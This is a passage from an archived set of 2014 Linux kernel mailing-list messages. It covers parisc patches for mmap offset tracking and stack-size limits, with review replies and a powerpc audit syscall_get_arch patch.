 #define GET_LAST_MMAP(filp)		\
-	(filp ? ((unsigned long) filp->f_mapping) >> 8 : 0UL)
+	(filp ? filp->f_mapping->i_mmap_lastmmap : 0UL)
 #define SET_LAST_MMAP(filp, val)	\
-	 { /* nothing */ }
+	{ if (filp) filp->f_mapping->i_mmap_lastmmap = (val); }
 
 static int get_offset(unsigned int last_mmap)
 {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.openrisc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.redhat.security.audit,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/4] ARCH: AUDIT: implement syscall_get_arch
 for all arches
Date: Tue, 22 Apr 2014 13:09:31 +1000
Lines: 88
Approved: news@gmane.org
Message-ID: <20140422130931.940f53412d30730aa4bc820b@canb.auug.org.au>
References: <1395266643-3139-1-git-send-email-eparis@redhat.com>
	<1395266643-3139-3-git-send-email-eparis@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============3184732945041985646=="
X-Trace: ger.gmane.org 1398136194 9505 80.91.229.3 (22 Apr 2014 03:09:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Apr 2014 03:09:54 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org, microblaze-uclinux@itee.uq.edu.au,
	linux@openrisc.net, linux-audit@redhat.com,
	sparclinux@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Eric Paris <eparis@redhat.com>
Original-X-From: linux-bounces@lists.openrisc.net Tue Apr 22 05:09:48 2014
Return-path: <linux-bounces@lists.openrisc.net>
Envelope-to: glpo-linux@m.gmane.org
Original-Received: from openrisc.net ([37.247.8.39])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-bounces@lists.openrisc.net>)
	id 1WcR5f-0000im-RB
	for glpo-linux@m.gmane.org; Tue, 22 Apr 2014 05:09:47 +0200
Original-Received: from openrisc.net (localhost [127.0.0.1])
	by openrisc.net (Postfix) with ESMTP id DBF231608FE;
	Tue, 22 Apr 2014 05:09:46 +0200 (CEST)
X-Original-To: linux@openrisc.net
Delivered-To: linux@openrisc.net
Original-Received: from pide.tip.net.au (pide.tip.net.au [101.0.96.218])
	by openrisc.net (Postfix) with ESMTPS id B57301608F1
	for <linux@openrisc.net>; Tue, 22 Apr 2014 05:09:44 +0200 (CEST)
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
	(using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by pide.tip.net.au (Postfix) with ESMTPSA id 52FBC1286A5;
	Tue, 22 Apr 2014 13:09:36 +1000 (EST)
In-Reply-To: <1395266643-3139-3-git-send-email-eparis@redhat.com>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; i486-pc-linux-gnu)
X-BeenThere: linux@lists.openrisc.net
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: OpenRISC Linux <linux.lists.openrisc.net>
List-Unsubscribe: <http://lists.openrisc.net/options/linux>,
	<mailto:linux-request@lists.openrisc.net?subject=unsubscribe>
List-Archive: <http://lists.openrisc.net/pipermail/linux>
List-Post: <mailto:linux@lists.openrisc.net>
List-Help: <mailto:linux-request@lists.openrisc.net?subject=help>
List-Subscribe: <http://lists.openrisc.net/listinfo/linux>,
	<mailto:linux-request@lists.openrisc.net?subject=subscribe>
Original-Sender: linux-bounces@lists.openrisc.net
Errors-To: linux-bounces@lists.openrisc.net
Xref: news.gmane.org gmane.linux.ports.openrisc:445 gmane.linux.ports.mips.general:41024 gmane.linux.ports.ia64:23766 gmane.linux.ports.parisc:5760 gmane.linux.redhat.security.audit:6216 gmane.linux.ports.sparc:18909 gmane.linux.ports.ppc64.devel:101116
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.openrisc/445>

--===============3184732945041985646==
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA256";
 boundary="Signature=_Tue__22_Apr_2014_13_09_31_+1000_flia9hF+yPUdnFYF"

--Signature=_Tue__22_Apr_2014_13_09_31_+1000_flia9hF+yPUdnFYF
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Eric,

[I just noticed that this turned up in linux-next ...]

On Wed, 19 Mar 2014 18:04:02 -0400 Eric Paris <eparis@redhat.com> wrote:
>
> diff --git a/arch/powerpc/include/asm/syscall.h b/arch/powerpc/include/as=
m/syscall.h
> index b54b2ad..4271544 100644
> --- a/arch/powerpc/include/asm/syscall.h
> +++ b/arch/powerpc/include/asm/syscall.h
> @@ -13,6 +13,8 @@
>  #ifndef _ASM_SYSCALL_H
>  #define _ASM_SYSCALL_H	1
> =20
> +#include <uapi/linux/audit.h>
> +#include <linux/compat.h>

You don't need linux/compat.h, I think, but you do need to include
linux/thread_info.h for is_32bit_task() below.

>  #include <linux/sched.h>
> =20
>  /* ftrace syscalls requires exporting the sys_call_table */
> @@ -86,4 +88,14 @@ static inline void syscall_set_arguments(struct task_s=
truct *task,
>  	memcpy(&regs->gpr[3 + i], args, n * sizeof(args[0]));
>  }
> =20
> +static inline int syscall_get_arch(void)
> +{
> +	int arch =3D AUDIT_ARCH_PPC;
> +
> +#ifdef CONFIG_PPC64
> +	if (!is_32bit_task())
> +		arch =3D AUDIT_ARCH_PPC64;
> +#endif
> +	return arch;

This could just be

	return is_32bit_task() ? AUDIT_ARCH_PPC : AUDIT_ARCH_PPC64;

as is_32bit_task() is always defined (and is (1) for !CONFIG_PPC64).

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

--Signature=_Tue__22_Apr_2014_13_09_31_+1000_flia9hF+yPUdnFYF
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iQIcBAEBCAAGBQJTVd1wAAoJEMDTa8Ir7ZwVHfUQAJBjX5ikUyun82MFtAMdTh2x
9nOveILFcSwGt4ZDyYica+UARDkB0KbtMB38pF7MPePG9f93twRYMnRskrM5XaN0
GDLOJxVoikuMRlt2HxyIVmrLs0JvCccOZz+Uy1Pq50RlB+GqBqCPbDMd7IZBQYKb
MdPoYr+0wIe2eMYRc+Rj9CBzCuY79FoQhCl6rIMsQRJ1/SrD7zvDP8x8J2n/8hpk
+jbgeX30zDIQlCP/a5MjSBFdmqW6N8d5GKLcNPdBSdWe0Ff8G/d/8gz8Q2lvyNxQ
dZdNxa116iZwE5H8p6zLchiwyel3vZzvLCMILCoc1ysMxQXx9Z+sfroFAjYjClm9
EIzBfzV7GR8QsssjCKSkcfFgfviHxIWFWo1ypmlnU/HMNkDB4ywHF6u6t8sx54c0
ZAfKuXa4gs+y99SuEoNbqPB1ssGwhFGdPV9A5n5m5aP8BaRYDFvat7rKA46mWCE2
JFA5CNWHCqzR3Ap/FDht3SeTNFUmDOnY/mfLB5CtjYg8HoTkAT+GB2eXKM9nn5nB
9UiqxLBFgfp1S0aFYlQqixJN872WxkT3L+V7V9DSwLR83RS4PBoSTWKivdZ4/01Y
DOhcrsMkZuOtcJO5QQrZ7hU31ngIHOuVdesryVcVTnh28r1IfviH/YW9xXoC9aS1
axXNb3h4pYFXeMyYxoZ0
=gnUE
-----END PGP SIGNATURE-----

--Signature=_Tue__22_Apr_2014_13_09_31_+1000_flia9hF+yPUdnFYF--

--===============3184732945041985646==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove _STK_LIM_MAX override
Date: Sun, 27 Apr 2014 16:20:47 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <BLU0-SMTP61D9E1AAC7E9DE17FA604F97440@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-23--583946909"
X-Trace: ger.gmane.org 1398630077 28927 80.91.229.3 (27 Apr 2014 20:21:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Apr 2014 20:21:17 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 27 22:21:09 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WeVZU-00030h-Mg
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Apr 2014 22:21:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751445AbaD0UVH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Apr 2014 16:21:07 -0400
Original-Received: from blu0-omc4-s35.blu0.hotmail.com ([65.55.111.174]:12664 "EHLO
	blu0-omc4-s35.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750993AbaD0UVG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Apr 2014 16:21:06 -0400
Original-Received: from BLU0-SMTP61 ([65.55.111.135]) by blu0-omc4-s35.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 27 Apr 2014 13:21:04 -0700
X-TMN: [DkGdOyzMxHdKQaIPMtMfFfciI9LRpJsB]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.84.123]) by BLU0-SMTP61.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 27 Apr 2014 13:21:03 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 27 Apr 2014 20:21:03.0805 (UTC) FILETIME=[367F36D0:01CF6256]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5761
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5761>

--Apple-Mail-23--583946909
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

There are only a couple of architectures that override _STK_LIM_MAX to  
a non-infinity value.
This changes the stack allocation semantics in subtle ways.  For  
example, make changes its
stack allocation to the hard maximum defined by _STK_LIM_MAX.  As a  
results, threads executed
by processes running under make are allocated a stack size of  
_STK_LIM_MAX rather than
a sensible default value.  This causes various thread stress tests to  
fail when they can't muster
more than about 50 threads.

The attached change implements the default behavior used by the  
majority of architectures.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
---


--Apple-Mail-23--583946909
Content-Disposition: attachment; filename="resource.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="resource.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/uapi/asm/resource.h b/arch/parisc/include/uapi/asm/resource.h
index 8b06343..090483c 100644
--- a/arch/parisc/include/uapi/asm/resource.h
+++ b/arch/parisc/include/uapi/asm/resource.h
@@ -1,7 +1,6 @@
 #ifndef _ASM_PARISC_RESOURCE_H
 #define _ASM_PARISC_RESOURCE_H
 
-#define _STK_LIM_MAX	10 * _STK_LIM
 #include <asm-generic/resource.h>
 
 #endif

--Apple-Mail-23--583946909
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-23--583946909--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove _STK_LIM_MAX override
Date: Sun, 27 Apr 2014 18:41:59 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <CAE2sS1hW+E9sqoAfrKftzCeXXWXXZntKjTqsPt4KQOi7jyZ=Kw@mail.gmail.com>
References: <BLU0-SMTP61D9E1AAC7E9DE17FA604F97440@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1398638530 5831 80.91.229.3 (27 Apr 2014 22:42:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Apr 2014 22:42:10 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 28 00:42:03 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WeXlp-0002N6-ID
	for glpp-linux-parisc@plane.gmane.org; Mon, 28 Apr 2014 00:42:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751402AbaD0WmA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Apr 2014 18:42:00 -0400
Original-Received: from mail-oa0-f46.google.com ([209.85.219.46]:43649 "EHLO
	mail-oa0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751287AbaD0Wl7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Apr 2014 18:41:59 -0400
Original-Received: by mail-oa0-f46.google.com with SMTP id m1so6515211oag.33
        for <linux-parisc@vger.kernel.org>; Sun, 27 Apr 2014 15:41:59 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=bKuL9BDI4eiVhOJDs/ORdUyv7VkwkcFNHo3G8QEiA0A=;
        b=FAGi7rqezaDA1TGOW3iIFcWlDVKbBNjECOKA6Sa+2nhbP6qxKzR5/T8yGUwh4MqEjk
         7oBIEEqTQQf04odjwV/41aWYrE47p8XqBS5+RrJXxhTOfSxYRdE76Yeg8zf5ZtPb2P8z
         wo93h3t0nR7cJXTgv3/uFdTaC92y8ey+Qu8WarhP0dysGnrV9nEcOfMlPyGPt0E6GbjI
         qEtmtg7cPL/naKh4Jw564mV/yYIHdqM6iYNxbA0QoIpU8cKEwkXv2rg8DalW2mL9CuY+
         qiPahsQcKYLEsv/xCZwSTTpCnTiAwI9cWwDulK5cAkFGjgNhmh+wqRH//tWWzMXelCFC
         jH0Q==
X-Gm-Message-State: ALoCoQkM99ZEiIMoH5sCQbBWZYRczU89LUOLW/nOWehs/3qDDbqiM11b3CatC1L5gKXX7ZVrVhpj
X-Received: by 10.60.141.9 with SMTP id rk9mr19311674oeb.12.1398638519197;
 Sun, 27 Apr 2014 15:41:59 -0700 (PDT)
Original-Received: by 10.76.144.3 with HTTP; Sun, 27 Apr 2014 15:41:59 -0700 (PDT)
X-Originating-IP: [71.198.249.130]
In-Reply-To: <BLU0-SMTP61D9E1AAC7E9DE17FA604F97440@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5762
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5762>

On Sun, Apr 27, 2014 at 4:20 PM, John David Anglin <dave.anglin@bell.net> wrote:
> The attached change implements the default behavior used by the majority of
> architectures.
>
> Signed-off-by: John David Anglin <dave.anglin@bell.net>

Reviewed-by: Carlos O'Donell <carlos@systemhalted.org>

I have reviewed the kernel code to make sure this does what's intended
and I've reviewed the userpace NPTL implementation to verify that the
new infinity value correctly causes the desired semantics e.g. use of
a sensible default.

This will cause threads using the max stack to have their stack
decreased from 80 MB to 8 MB, but 80 MB was never the correct value to
use anyway and is the cause of userspace failures to create more
threads.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [RFC,PATCH] mm,parisc: keep track of last mmap'ed address
Date: Mon, 28 Apr 2014 21:51:20 +0200
Lines: 119
Approved: news@gmane.org
Message-ID: <535EB138.3090202@gmx.de>
References: <20140417204545.GA4567@ls3530.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1398714694 18995 80.91.229.3 (28 Apr 2014 19:51:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Apr 2014 19:51:34 +0000 (UTC)
To: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 28 21:51:27 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WeraI-0005BY-Lr
	for glpp-linux-parisc@plane.gmane.org; Mon, 28 Apr 2014 21:51:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753727AbaD1Tv0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Apr 2014 15:51:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:50562 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932443AbaD1TvZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Apr 2014 15:51:25 -0400
Original-Received: from [192.168.178.60] ([84.173.46.148]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0M1FAK-1WuCdm3qKu-00tApr; Mon, 28 Apr 2014 21:51:23
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <20140417204545.GA4567@ls3530.fritz.box>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:ZUqzbvgZf3iEoONkab8ENnJbD6mfAkFyvY61FMvTnfq3+VQs4Bv
 xrr5asoutOM/KbR5pKXJxdkBfkw3tO/ceBrd/x773wWZRUEqHmxQqRSpFhN81ilIrJVSE+U
 jkuMWqMFOwLOMiYmVR0T6qOzcFeS/AG74DA1uKylNrw7klRYojQUkAdbCeqnEaJHOBUGI9r
 brKFxItaL4ciBBL3hdTcw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5764 gmane.linux.kernel.mm:116361 gmane.linux.kernel:1692882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5764>

No objections?
Then I assume this is OK...

Helge

On 04/17/2014 10:45 PM, Helge Deller wrote:
> Would the following patch be acceptable?
> It adds an additional field to struct address_space which will most likely only
> be used by the parisc arch.
> 
> If it's acceptable, I would like to push it through the parisc tree, if not,
> I'm of course open to other ideas too.
> 
> Thanks,
> Helge
> 
> PATCH:
> [RFC,PATCH] mm,parisc: keep track of last mmap'ed address
> 
> Because of parisc's cache aliasing constraints we need to map shared pages at a
> multiple of 4MB while most other architectures can map files at any multiple of
> PAGE_SIZE. In the past this constraint was ensured by calculating a virtual
> offset into this 4MB region which is based on the physical address of the
> kernel mapping variable (right-shift value of filp->f_mapping by 8 bits).
> Since we only have a 32bit userspace (even when running on a 64bit kernel) this
> often leads to large gaps in the maps of the userspace processes and to out of
> memory situations even if physical memory was still free.  Of course I did
> played with other variants of shifting the f_mapping value to find better
> offsets but this didn't helped either.
> 
> This patch chooses a different approach.
> It adds the additional field i_mmap_lastmmap to the address_space struct to
> keep track of the last mapping of a shared file. With this bookkeeping it's
> possible for the parisc memory allocator to 
> a) choose a new mapping offset if the file hasn't been mapped yet, and
> b) take the last-used mapping if it was already mapped by another process.
> 
> Overall this approach leads to a more condensed memory usage on parisc because
> the shared files will now be mapped much closer to each other. This is e.g.
> visible with shared libraries which are now not any longer cluttered around
> in the userspace process but close to each other at the top of the userspace
> memory.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/include/linux/fs.h b/include/linux/fs.h
> index 81048f9..f757a5c 100644
> --- a/include/linux/fs.h
> +++ b/include/linux/fs.h
> @@ -416,6 +416,9 @@ struct address_space {
>  	unsigned int		i_mmap_writable;/* count VM_SHARED mappings */
>  	struct rb_root		i_mmap;		/* tree of private and shared mappings */
>  	struct list_head	i_mmap_nonlinear;/*list VM_NONLINEAR mappings */
> +#ifdef CONFIG_MMAP_TRACKING
> +	unsigned long		i_mmap_lastmmap; /* address of last mmap */
> +#endif
>  	struct mutex		i_mmap_mutex;	/* protect tree, count, list */
>  	/* Protected by tree_lock together with the radix tree */
>  	unsigned long		nrpages;	/* number of total pages */
> diff --git a/mm/mmap.c b/mm/mmap.c
> index b1202cf..e2659c3 100644
> --- a/mm/mmap.c
> +++ b/mm/mmap.c
> @@ -212,8 +212,13 @@ static void __remove_shared_vm_struct(struct vm_area_struct *vma,
>  {
>  	if (vma->vm_flags & VM_DENYWRITE)
>  		atomic_inc(&file_inode(file)->i_writecount);
> -	if (vma->vm_flags & VM_SHARED)
> +	if (vma->vm_flags & VM_SHARED) {
>  		mapping->i_mmap_writable--;
> +#ifdef CONFIG_MMAP_TRACKING
> +		if (mapping->i_mmap_writable == 0)
> +			mapping->i_mmap_lastmmap = 0;
> +#endif
> +	}
>  
>  	flush_dcache_mmap_lock(mapping);
>  	if (unlikely(vma->vm_flags & VM_NONLINEAR))
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index bb2a8ec..9518361 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -38,6 +38,9 @@ config PARISC
>  config MMU
>  	def_bool y
>  
> +config MMAP_TRACKING
> +	def_bool y
> +
>  config STACK_GROWSUP
>  	def_bool y
>  
> diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
> index 31ffa9b..7d8cbd1 100644
> --- a/arch/parisc/kernel/sys_parisc.c
> +++ b/arch/parisc/kernel/sys_parisc.c
> @@ -36,12 +36,12 @@
>  #include <linux/personality.h>
>  #include <linux/random.h>
>  
> -/* we construct an artificial offset for the mapping based on the physical
> - * address of the kernel mapping variable */
> +/* the address_space struct holds a field i_mmap_lastmmap with the last mapping
> + * of this file for us */
>  #define GET_LAST_MMAP(filp)		\
> -	(filp ? ((unsigned long) filp->f_mapping) >> 8 : 0UL)
> +	(filp ? filp->f_mapping->i_mmap_lastmmap : 0UL)
>  #define SET_LAST_MMAP(filp, val)	\
> -	 { /* nothing */ }
> +	{ if (filp) filp->f_mapping->i_mmap_lastmmap = (val); }
>  
>  static int get_offset(unsigned int last_mmap)
>  {

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc,metag: Do not hardcode maximum userspace stack size
Date: Wed, 30 Apr 2014 23:26:02 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <20140430212602.GA20601@p100.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1398893179 5250 80.91.229.3 (30 Apr 2014 21:26:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Apr 2014 21:26:19 +0000 (UTC)
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Apr 30 23:26:11 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Wfc14-0002yN-Fa
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 30 Apr 2014 23:26:10 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1946043AbaD3V0J (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Wed, 30 Apr 2014 17:26:09 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50774 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1945936AbaD3V0I (ORCPT <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 30 Apr 2014 17:26:08 -0400
Original-Received: from p100.fritz.box ([84.173.57.1]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0Lyj4F-1WuF112vo7-0165xh; Wed, 30 Apr 2014 23:26:04
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:a43vjX6Y+4T+8b8d4mq8IPy4GtYS6XioEe2jgNQdxL0jAaEGt8X
 baVXqGyo66IpKGWy9nCwb9XgfLYqQPUqKAbqr7JdD/917PQ3RqZS0v/FdkqjJQDJkGhytQp
 x8CRFEOmIeezdQ1pli3A1eE0rq+XLMKq0B48+AWA7SUbAVDf5UBq9ryTGNfbYWoPc9jWd6C
 jaTujPsnrCrUcSVO+5DPQ==
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:173 gmane.linux.kernel:1694576 gmane.linux.ports.parisc:5765
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/173>

This patch affects only architectures where the stack grows upwards
(currently parisc and metag only). On those do not hardcode the maximum
initial stack size to 1GB, but make it configurable via a config option.

The main problem with the hardcoded stack size is, that we have two
memory regions which grow upwards: stack and heap. To keep most of the
memory available for heap in a flexmap memoy layout, it makes no sense
to hard allocate up to 1GB of the memory for stack which can't be used
as heap then.

This patch makes the stack size configurable and uses 80MB as default
value which has been in use during the last few years on parisc and
which didn't showed any problems yet.

Signed-off-by: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>

diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
